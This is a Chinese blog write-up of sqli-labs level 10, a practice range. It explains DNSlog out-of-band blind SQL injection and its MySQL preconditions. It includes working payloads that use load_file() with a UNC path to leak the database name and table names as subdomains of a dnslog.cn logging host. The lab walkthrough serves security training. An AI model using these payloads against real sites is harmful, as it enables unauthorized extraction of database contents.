sqli-labs靶场通关笔记:第10关 DNSlog盲注

1.审题

 通过语句测试发现,只有一种页面回显,为双引号闭合,可以使用时间盲注。但是时间盲注需要逐字符猜解,耗时长,而且请求量过大容易被检测,有没有更优化的注入技术呢?

二、思考

DNSlog注入,又称DNS带外(DNS Out-of-Band,简称 DNS OOB)注入。传统注入只需要在http这一传输通道上操作即可,DNSlog注入涉及到DNS协议的带外通信。

它的优势在于:

1.高效性:单次查询获取表/列/数据;

2.隐蔽性:DNS流量很少被监控;

3.绕过过滤:不依赖页面回显;

4.大数据获取:可提取整张表数据。

但同时也存在局限:

1.需要数据库具有网络访问权限;

2.依赖特定函数未被禁用;

3.目标服务器需能解析外部DNS;

4.只有Windows系统可以利用。

先做一个简单的测试,利用网站http://www.dnslog.cn/。这是一个 DNS 日志平台,可以捕获目标服务器发起的 DNS 查询请求。

首先获取一个域名,再去ping这个域名,查看日志记录。

 

我们在ping中写入%username%,可以发现系统将主机名称root解析出来了。假设在这里构造数据库查询语句,是不是意味着同样可以被记录到日志中。

使用条件:

DNSlog注入需要依赖load_file() 函数,它的作用是读取文件内容,作为字符串返回。需要配置文件my.ini中secure_file_priv=(空),如果secure_file_priv=NULL,load_file() 函数会被禁用。MySQL 5.7 及以上版本,默认值通常为 NULL(表示禁止所有导入导出操作)。

在mysql命令行中使用show variables like '%secure%'; 可以查看secure_file_priv的情况。

构造语句:

?id=1" and load_file(concat('\\\\',(select database()),'.hduo8x.dnslog.cn\\test')) --+

load_file()函数触发文件查询,所以在最后写随便一个文件名,如test;

concat()函数:拼接语法;

'\\\\':这是Windows UNC路径格式要求;

 注入执行:

当数据库执行此查询时:

尝试访问 “数据库名.xxxxxx.dnslog.cn”这个地址来加载文件;

发起DNS解析请求;

DNS服务器记录查询日志。

这里就得到数据库名为security。

 三、做法

1.获取数据库名称;

2.获取表的名称;

?id=1" and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'.hduo8x.dnslog.cn\\test')) --+

3.获取表中字段;

4.获取字段中数据,完成。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值